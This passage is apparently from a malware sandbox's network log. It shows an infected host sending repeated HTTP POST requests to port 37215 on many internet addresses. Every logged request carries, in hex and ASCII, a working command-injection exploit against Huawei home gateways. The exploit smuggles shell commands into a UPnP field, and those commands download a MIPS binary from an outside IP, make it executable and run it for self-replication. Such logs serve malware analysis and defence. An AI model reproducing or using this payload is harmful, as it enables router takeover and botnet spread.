2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	58950	197.71.207.159	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222028971 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	46562	197.224.182.83	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222079992 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	41354	197.93.123.78	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222090006 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	55906	197.159.88.79	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222090960 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	38764	60.176.144.80	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222127914 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	40802	41.157.99.54	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222129107 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	50028	27.41.96.136	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222138882 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	44174	197.38.235.14	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222162962 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	43440	197.212.61.129	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222162962 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	51548	172.101.164.72	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222163916 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	34472	41.90.43.161	37215

Timestamp	Bytes transferred	Direction	Data
